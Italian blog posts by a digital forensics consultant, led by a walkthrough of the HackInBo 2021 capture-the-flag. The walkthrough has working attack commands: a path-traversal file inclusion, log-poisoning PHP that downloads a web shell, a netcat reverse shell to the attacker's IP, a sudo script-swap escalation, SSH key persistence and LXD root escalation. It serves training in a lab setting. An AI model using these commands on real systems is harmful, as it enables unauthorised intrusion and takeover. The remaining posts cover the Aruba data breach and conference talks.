HackInBo 2021 CTF — Guida alla risoluzione

Durante la diciassettesima edizione di HackInBo (Safe Edition) si è svolta una competizione Capture The Flag organizzata da CyberTeam. Si tratta di gare in cui bisogna risolvere dei problemi di sicurezza informatica e provare a violare dei sistemi appositamente costruiti, guadagnando delle flag che danno diritto a un punteggio.

Tali competizioni costituiscono attività “ludiche” estremamente importanti per i colleghi che si occupano di penetration testing (tengono allenate le proprie capacità), ma anche per noi informatici forensi, perché ci permettono di migliorarci pensando come gli attaccanti e quindi risultare più efficaci quando dobbiamo analizzare un’intrusione informatica.

L’argomento della sfida, che si può ancora giocare online, è l’ottenimento di privilegi di amministratore a partire da un’applicazione web:

CTF creata ad hoc per l’evento che permette di mettere alla prova le proprie abilità boot to root. Partendo da una web application, con una serie di movimenti laterali bisognerà arrivare al root della macchina recuperando le 3 flag durante il percorso per arrivare al massimo livello dei privilegi amministrativi.

Questa pagina spiega dall’inizio alla fine il procedimento che ho seguito per risolvere i vari livelli. Se siete intenzionati a partecipare, vi consiglio di non leggere oltre in quanto ovviamente contiene spoiler.

Ricognizione iniziale

Dopo aver avviato una macchina virtuale con la propria distro preferita (per esempio Kali) e collegato la VPN, si può procedere a una scansione dell’host con Nmap:

$ nmap -P0 10.10.250.66
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-08 22:49 CET
Nmap scan report for dev.cyberteam.ctf (10.10.170.93)
Host is up (0.075s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 3.18 seconds

Si nota che sono aperte la porta SSH e quella HTTP. Ho dunque visitato l’URL nel browser, ottenendo una pagina di benvenuto con riferimento a un indirizzo email e a un account Twitter.

Pagina visualizzata collegandosi all’IP della macchina

Attività di OSINT

Visitando il profilo Twitter, si nota che l’utente ha pubblicato un contenuto un po’ sibillino:

Grazie a Wayback Machine ho recuperato un tweet precedentemente cancellato, il quale contiene delle credenziali (j0hn_d03 e la password P4$$w0RdS1Cur4). Resta da capire dove utilizzare queste credenziali.

Il vero sito web

Notando la scritta dev.cyberteam.ctf si può pensare che sia un virtual host, perciò ho inserito una riga DNS nel file /etc/hosts:

10.10.250.66 dev.cyberteam.ctf

Visitando questo indirizzo si ottiene un risultato diverso, con un modulo di login pronto ad accettare le credenziali trovate.

Modulo di login esposto dal virtual host

Dopo il login, si accede a un’area nascosta nel percorso /menu/. Le pagine sono gestite in un modo un po’ particolare, con link simili al seguente:

http://dev.cyberteam.ctf/menu/?view=news.php

Provando a modificare il parametro view risulta subito chiaro che c’è un filtro basilare sul contenuto inserito, che vieta valori “totalmente” arbitrari. Tuttavia, mantenendo fisso il prefisso news si può modificare ciò che segue senza scatenare ulteriori controlli. Ho verificato la vulnerabilità LFI accedendo alla lista degli utenti:

http://dev.cyberteam.ctf/menu/?view=newss/../../../../../../../etc/passwd
Inclusione di un file arbitrario nell’output visualizzato

Ottenere la prima shell

Ci sono alcuni modi diversi per ottenere l’esecuzione di comandi arbitrari in questo contesto. Personalmente ho deciso di seguire la guida di Null Byte, facendo eseguire codice PHP iniettato nel file di log di Apache. Ho deciso di sfruttare questa possibilità per caricare una comoda shell in PHP che mi permettesse di eseguire comandi un po’ più complessi in modo semplice.

Innanzitutto ho scaricato il file e lo ho reso disponibile sfruttando il server di Apache fornito da Kali (sulla macchina d’attacco):

$ curl https://raw.githubusercontent.com/flozz/p0wny-shell/master/shell.php > /var/www/html/shell.txt
$ systemctl start apache2

Ho quindi iniettato il codice tramite Netcat:

echo "<?php echo shell_exec('wget -O /var/www/html/shell.php http://10.9.2.17/shell.txt'); ?>" | nc dev.cyberteam.ctf 80 

A questo punto è stato sufficiente usare la precedente vulnerabilità LFI per far stampare a video il file /var/log/apache2/access.log, scatenando l’esecuzione del comando desiderato. Questo mi ha permesso di ottenere una shell visitando il percorso http://10.10.250.66/shell.php, rendendo il resto del lavoro più semplice.

La shell PHP p0wny@shell

Da Netcat a una “vera” Bash

Il passaggio che ha portato all’ottenimento della prima flag per me è stato il più ostico, dopo aver sbattuto la testa per alcune ore ho deciso di lasciare perdere per un paio di giorni e ritornarci a mente fresca. La realtà è che la soluzione era molto più facile del previsto, ma non era realizzabile dalla shell PHP. C’era bisogno di una “vera” Bash che permettesse di eseguire comandi interattivi e accettasse quindi l’input dalla tastiera.

Il primo passo è stato ottenuto passando attraverso una reverse shell con l’uso di Netcat. Dato che il comando nc sulla macchina da attaccare era privo del parametro -e, ho usato Metasploit per generare un comando alternativo:

$ msfvenom -p cmd/unix/reverse_netcat LHOST=10.9.5.240 LPORT=4444 R
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 100 bytes
mkfifo /tmp/xhxxbgn; nc 10.9.5.240 4444 0</tmp/xhxxbgn | /bin/sh >/tmp/xhxxbgn 2>&1; rm /tmp/xhxxbgn

Ho lanciato nc -lvp 4444 per rimanere in ascolto nel mio terminale, quindi il comando suggerito da Metasploit nella shell PHP caricata in precedenza. Stabilita la connessione base con Netcat, ho invocato Bash tramite Python:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Così facendo ho potuto provare a cambiare utente con il comando su j0hn_do3, tentando la fortuna con la password dell’applicazione web. La procedura di login ha funzionato ed è stato possibile accedere alla prima flag.

Accesso come utente j0hn_do3

Privilege escalation

Potendo esplorare i file contenuti nella home directory dell’utente j0hn_do3, ho notato subito la presenza di uno script denominato passwordgen.py che risulta di proprietà di h4k1nb0 e non modificabile. La cosa ancora più interessante è che questo script può essere lanciato dall’utente con il comando sudo, ottenendo quindi i privilegi di h4k1nb0:

$ cat /etc/sudoers.d/j0hn_do3
j0hn_do3 ALL = (h4k1nb0) /usr/bin/python3.6 /home/j0hn_do3/passwordgen.py

Il file è di proprietà di un altro utente, quindi non è modificabile. Tuttavia, il proprietario della cartella home lo può pur sempre rinominare! Perciò ho creato un nuovo file con il codice per eseguire Bash e li ho scambiati:

$ echo 'import pty; pty.spawn("/bin/bash")' > passwordgen2.py
$ mv passwordgen.py coso.py
$ mv passwordgen2.py passwordgen.py

Infine ho lanciato lo script e ottenuto una shell con i permessi di h4k1nb0, accedendo alla flag successiva:

sudo -u h4k1nb0 /usr/bin/python3.6 /home/j0hn_do3/passwordgen.py
Accesso come utente h4k1nb0

Per rendere il resto dell’attacco più pratico, ho deciso di inserire la mia chiave SSH pubblica nella lista di quelle autorizzate per l’utente:

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCetslfl3XaZd6uOCzlmUmuFSuha4TCLr7gWHo2on79rhRSSFWF0yqnHUwvZPwGsSHOSTCU7mluoABP8OAg3RfrfYBxqwlBV7W8sPdp5JV3/FVBH14tGX4Q5HWmxLcDkPzNdPIhwIrqyBPj02GjFA0p1veqhQOujCo6x6/c/p01cGaMWlVk21Gz7fFa+5cRkgWm5FjbP3tDJq0ukkJDTuKMM4XjteyB/zCPz5mr0cTdpCGsnbPI92PcTpmWdH0cmnEJFz6UsD7C98olLOsxcpjjiYs1SOWxjKuikzHpXQsGTEDG/HL1IlCi1ngCM74YibpvBfwKtixrr91NW1v9Pw41HnZWI5OUoZHQBu++HP0836zqgARLHJPNWnxHSRK5ryWqapCnqJYvk/93SQsRi0bgZHY/ebkLPKMZWK6fw9POOmLoWL9jPdUvBMihyxLkK2TeJFiBhLwwfnCASTTC/ZY35jDU8MrRFBKV+u/M5WwzU7gD/IaOf+0sM5dCt5nEKIU= kali@kali" > .ssh/authorized_keys

Ho chiuso la sessione e mi sono collegato con SSH, ottenendo la possibilità di usare l’autocompletamento e i tasti freccia per scorrere gli ultimi comandi digitati:

ssh h4k1nb0@dev.cyberteam.ctf

Accesso con privilegi di root

L’ultimo livello richiede di ottenere i privilegi amministrativi sulla macchina, in altri termini è necessario riuscire a ottenere un accesso con utente root. Cercando qualche appiglio riguardante l’utente h4k1nb0, è emerso un file nascosto chiamato .creds, dal contenuto apparentemente succulento:

$ cat .creds  
I'm tired of forgetting it!!!!!!


P0w3r0V3rw3LM1ng

Purtroppo questa si è rivelata una falsa pista. Dopo alcuni tentativi ho notato che l’utente appartiene a un gruppo particolare, vale a dire lxd:

$ grep h4 /etc/group
adm:x:4:syslog,h4k1nb0
cdrom:x:24:h4k1nb0
sudo:x:27:h4k1nb0
dip:x:30:h4k1nb0
plugdev:x:46:h4k1nb0
lxd:x:108:h4k1nb0
h4k1ngb0:x:1000:

Una veloce ricerca per “lxd group” rivela immediatamente un link molto interessante, cioè una guida piuttosto semplice per ottenere privilegi di root a partire dalla possibilità di avviare container LXD. Io ho usato il metodo 2.

Nella macchina di attacco ho scaricato il necessario e costruito un container con Alpine Linux:

git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686

Il file è stato copiato sulla macchina da violare:

scp alpine-v3.13-x86_64-20210218_0139.tar.gz h4k1nb0@dev.cyberteam.ctf:/home/h4k1nb0/

Infine, sul server ho importato ed eseguito il container:

lxc image import ./alpine*.tar.gz --alias myimage
lxd init
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh

Ciò ha permesso di ottenere una shell con accesso amministrativo e la possibilità di agire su qualsiasi file della macchina attraverso il mount point /mnt/root. La flag è nel percorso /mnt/root/root/root.txt.

Accesso con privilegi di root

Conclusioni

Seguendo le sfide proposte nella competizione, è stato possibile “bucare” un’applicazione web vulnerabile e scalare i privilegi fino ad arrivare al controllo totale della macchina.

Personalmente ho trovato abbastanza “sbilanciata” l’assegnazione dei punteggi delle flag, in quanto la parte più ostica è stata la prima, mentre il resto è stato risolto in meno di un’ora. Mi sono confrontato con un altro partecipante alla gara e anch’egli ha avuto un’impressione simile.

In ogni caso, sono grato agli organizzatori di HackInBo e a CyberTeam per avere reso possibile questa attività. Partecipare mi ha permesso di “rispolverare” strumenti come le reverse shell che non vedevo granché dai tempi delle competizioni CTF universitarie, nonché approfondire l’uso di Metasploit e l’ottenimento dei privilegi di root tramite LXD.

Chiaramente le gare CTF di sicurezza offensiva sono un po’ diverse da quelle di digital forensics, ma è molto importante partecipare a questi eventi in quanto fanno parte del continuo aggiornamento professionale, che oserei definire tassativo per chi si occupa di queste tematiche.

Data breach di Aruba: come difendersi e ottenere chiarimenti

Questa triste storia “all’italiana” inizia il 23 aprile 2021: Aruba (uno dei più famosi provider italiani di servizi web, firma digitale e PEC) subisce una violazione informatica — un cosiddetto data breach. Nello stesso periodo, operando senza dare troppo nell’occhio, l’azienda interviene sui propri sistemi per forzare a tutti i clienti un cambio delle password, senza tuttavia indicare il motivo specifico.

Dopo più di 80 giorni, il 14 luglio 2021, il provider informa i propri clienti della circostanza. A dire il vero, alcuni (come me) sono stati informati il giorno successivo, ma poco importa. Fino a quel momento ai clienti era sempre stata negata qualunque informazione in merito a possibili attacchi, nonostante la manovra del cambio password fosse sembrata a molti “quantomeno bislacca” (cit. Orlando Serpentieri).

Un professionista aveva chiesto conto ad Aruba riguardo la massiccia operazione di cambio password

L’email inviata da Aruba a metà luglio, oltre che estremamente tardiva, è scritta in modo da minimizzare nel modo più assoluto quanto successo. L’oggetto del messaggio è semplicemente “Comunicazione“, un titolo che passa inosservato, probabilmente ritenuto più innocuo di “Avviso VIOLAZIONE dati” o “Ci hanno sfondato il sistema”.

Il testo del messaggio è davvero peculiare, in quanto sottolinea che non ci sono state alterazioni di dati, né cancellazioni:

desideriamo informarla che il 23 aprile scorso abbiamo rilevato e bloccato un accesso non autorizzato alla rete che ospita alcuni dei nostri sistemi gestionali, ma nessun dato è stato cancellato né alterato

Aruba

Sempre relativamente ai dati, in seguito si ribadisce che la loro “integrità e disponibilità non sono state impattate in alcun modo”. Peccato che in tutto questo si sorvoli sul fattore più importante: la confidenzialità. I dati menzionati sono:

  • nome e cognome
  • codice fiscale
  • indirizzo, città, CAP, provincia
  • telefono
  • indirizzo email, indirizzo PEC
  • login all’area clienti
  • password (protette da crittografia forte)

Agli occhi di un utente poco esperto di sicurezza informatica il messaggio potrebbe lasciare l’idea che non sia successo niente di grave, ma in verità non si dice nulla riguardo il fatto che questi dati possano essere stati letti o copiati da terze parti non autorizzate. Viene da pensare che la bizzarra scelta di parole non sia casuale, ma strategicamente pensata per minimizzare gli eventi.

Il messaggio termina con alcuni consigli generici relativi ad accortezze per evitare le truffe (stare attenti alle email che sembrano provenire dal provider, non divulgare password, e così via) ma sostanzialmente dichiara all’utente che “non è necessaria alcuna azione”.

Tutto a posto quindi? Naturalmente no.

Innanzitutto, un aspetto assolutamente incredibile è che l’azienda riferisca di aver inviato la comunicazione quasi come se fosse stata una sorta di cortesia verso il cliente:

A conclusione di tutte le nostre analisi, abbiamo ritenuto doveroso informarla dell’accaduto seppur non sia richiesta alcuna azione da parte sua.

Aruba

La realtà è diversa: informare di un data breach è un obbligo di legge, ai sensi del GDPR. Questo oltretutto dovrebbe essere fatto in modo repentino, non tardivo. La lungaggine di Aruba ha raggiunto persino le testate internazionali (es. Aruba waited months to notify customers regarding a recent data breach).

L’opinione di un DPO che conferma l’ambiguità e la tardività della comunicazione

Oltre a questo, permane la mancanza di chiarezza sul fatto che una terza parte abbia avuto accesso ai dati. Sui social si sono scatenate molte reazioni ironiche, con frasi come “i nostri dati vanno Aruba”. Al di là della parentesi goliardica, molti clienti vogliono giustamente avere delle risposte chiare.

Come richiedere chiarimenti ad Aruba

La mancanza di chiarezza in merito alla possibilità che i dati siano stati letti ha portato molte persone a contattare l’azienda, che ha fornito un indirizzo email normale (non PEC) dedicato. Vari clienti hanno ricevuto una risposta a voce, non per iscritto, il che lascia piuttosto perplessi.

Una parziale conferma fornita da Aruba, dopo ripetute insistenze

Personalmente ho inviato un’istanza ad Aruba tramite PEC il 21 luglio 2021, richiedendo dei chiarimenti ed esercitando il diritto di accesso ai dati personali ai sensi dell’articolo 15 del Regolamento UE 2016/679. Quest’ultimo passaggio è importante perché obbliga l’azienda a rispondere, per non rischiare di incorrere in sanzioni.

Pensavo di attendere qualche giorno per la risposta, prima di scrivere questo post, però non è ancora pervenuta. Ho deciso pertanto di scrivere alcune indicazioni su come chiedere chiarimenti ad Aruba e fornirvi un modello della mia lettera, nel caso vi possa tornare utile.

Vi ricordo che io non sono un avvocato, sono semplicemente un consulente informatico forense, e questo articolo non costituisce una consulenza legale. Detto questo, se volete scaricare il modello in formato modificabile potete cliccare qui sotto:

Per utilizzare il modello seguite queste istruzioni:

  • Aprite il file con un programma di videoscrittura e modificate tutte le parti di colore rosso, inserendo i vostri dati
  • Leggete il documento per intero, effettuando le modifiche che ritenete opportune
  • Convertite in PDF e firmate (meglio se con firma digitale, altrimenti va allegata la copia di un documento di identità)
  • Inviate il documento firmato preferibilmente all’indirizzo PEC aruba@aruba.pec.it, includendo in copia anche infoprivacy@staff.aruba.it

Qualora l’azienda non dovesse rispondere nel termine di 30 giorni dalla vostra richiesta, potrete procedere all’inoltro di un reclamo al Garante per la Protezione dei Dati Personali. Il modello per il reclamo è consultabile cliccando qui.

Una volta ricevuta una risposta di Aruba provvederò ad aggiornare questo post.

Se lo desiderate, potete condividere le vostre esperienze con la richiesta (ed eventuale risposta) qui sotto nei commenti.

Acquisizione forense di pagine web: obiettivi, approcci e metodologie — HackInBo 2021

Il 29 maggio 2021 si svolgerà la nuova edizione di HackInBo, la prima e più attesa conferenza gratuita su sicurezza informatica e hacking, che ogni anno attira migliaia di partecipanti da tutta la penisola.

Il programma è ricco di interventi interessanti e io sarò impegnato con la realizzazione di un laboratorio interamente dedicato al processo di preservazione delle prove presenti sul web:

Questo intervento si svolgerà sotto forma di laboratorio per l’acquisizione forense di pagine web. Nello specifico ragioneremo su una metodologia che si possa poi applicare a vari strumenti, a seconda dei casi. Mostrerò alcuni esempi di acquisizioni e ne approfitteremo per una discussione comparativa e il ruolo dei vari tool quali Wireshark, OSIRT Browser, mitmproxy, Archiveweb.page, Carbon14 e i siti di archiviazione come WayBack Machine.

Si tratta di un argomento sempre più rilevante, in quanto cristallizzare il contenuto di pagine web, articoli di giornale, blog e social network è spesso utile nei procedimenti legali per difendersi o tutelare i propri interessi.

Indicazioni operative

L’evento si svolgerà interamente online e sarà trasmesso in streaming. I biglietti per iscriversi e partecipare ai vari laboratori di questa Lab Edition saranno disponibili a partire dal 6 maggio (domani) alle 10:00. Fate riferimento direttamente al sito ufficiale di HackInBo per l’iscrizione.

Riguardo il mio intervento, per seguirlo attivamente vi sarà necessario scaricare un po’ di software: alcuni sono multipiattaforma, altri funzionano solo su Windows. Per questo è caldamente consigliata una VM con Windows 7 o 10 scaricabile da qui.

Multipiattaforma:

Programmi per Windows:

Vi aspetto il 29 maggio!

Materiale

Potete scaricare le slide del mio intervento cliccando qui.

Il video è stato reso disponibile sul canale YouTube di HackInBo e potete vederlo qui sotto:

Webinar su RecuperaBit e l’analisi forense di NTFS — 3 marzo 2021

Nell’ambito del ciclo di seminari che seguono la conclusione della Open Source Digital Forensics Conference 2020, sono stato invitato a tenere un intervento online che si svolgerà il mese prossimo.

L’incontro, organizzato da Basis Technology, verterà sull’analisi forense di partizioni NTFS. In particolare, parlerò di RecuperaBit, il mio software per la ricostruzione di file system NTFS danneggiati. Il webinar è destinato a un pubblico internazionale, perciò sarà interamente in lingua inglese.

La diretta avrà luogo il 3 marzo 2021 a partire dalle 17:00, ora italiana. La registrazione sarà disponibile esclusivamente per chi si sarà registrato (gratuitamente) all’evento.

Questo è l’abstract:

RecuperaBit: Present and Future of NTFS Reconstruction

File system corruption, either accidental or intentional, may compromise the ability to access and recover the contents of files during data recovery and digital forensics activities. Conventional techniques, such as file carving, allow for the recovery of file contents partially, without considering the file system structure. However, the loss of metadata may prevent the attribution of meaning to extracted contents, given by file names or timestamps. RecuperaBit implements a signature recognition process that matches and parses known file records, followed by a bottom-up reconstruction algorithm which is able to recover the structure of the file system by rebuilding the entire tree, or multiple subtrees if the upper nodes are missing. Partition geometry is determined even if the boundaries are unknown by applying an approximate string matching algorithm.

This talk aims to introduce the algorithms used by RecuperaBit and to discuss future plans to make the tool more usable, streamlined and user-friendly by re-thinking its command line user interface.

Per prenotare il vostro posto e seguire il webinar, potete utilizzare il link:

Iscrizione al webinar

Vi aspetto numerosi!

Materiale

Potete scaricare le slide del mio intervento cliccando qui.

Il video del webinar è stato reso disponibile sul canale YouTube di Basis Technology e potete vederlo qui sotto:

Locandina di "ONIF Digital Forensics Webinar 2020"

ONIF Digital Forensics Webinar 2020 — 03/12/2020

L’associazione ONIF (Osservatorio Nazionale Informatica Forense) organizza un seminario online completamente gratuito, con l’obiettivo di consentire, anche in questo periodo di restrizioni, di poter accedere ad un aggiornamento professionale con i migliori esperti del settore.

Il webinar sulla Digital Forensics è particolarmente indicato per consulenti tecnici, avvocati e professionisti informatici. Nello specifico, il programma propone interventi relativi a multimedia forensics, mobile forensics e attività di OSINT e acquisizione forense di Instagram:

  • 15:00 · Saluti del Presidente C3I
    Ing. Armando Zambrano
  • 15:05 · Introduzione del Presidente ONIF
    Paolo Reale, delegato C3I Ordine di Roma
  • 15:15 · Multimedia Forensics nell’era della computational photography
    Massimo Iuliani
  • 15:40 · Data validation di informazioni derivanti da estrazione mobile con altri elementi
    Nicola Chemello
  • 16:05 · Uso delle API di Instagram per l’acquisizione forense
    Andrea Lazzarotto
  • 16:30 · Mac computer data access with MacQuisition
    Tim Thorne, Senior Solutions Expert at Cellebrite
  • 16:50 · Sponsored talk
    Cellebrite
  • 17:10 · Q&A e saluti
    Paolo Reale, delegato C3I Ordine di Roma

L’evento, moderato da Ugo Lopez, è organizzato con il patrocinio del Comitato Italiano Ingegneria dell’Informazione C3I, dell’Ordine degli Ingegneri di Roma e di Bari e la collaborazione di Cellebrite.

Per partecipare è obbligatorio procedere all’iscrizione gratuita sulla piattaforma EventBrite, facendo click sul seguente pulsante. Il numero di posti è limitato.

Iscrizione al webinar

Materiale

Potete scaricare il materiale (slide e esempi di codice) del mio intervento cliccando qui.

I video dei talk sono stati pubblicati in una playlist su YouTube. Nel video incorporato qui sotto potete cliccare sul tasto in alto a destra per accedere agli altri contenuti: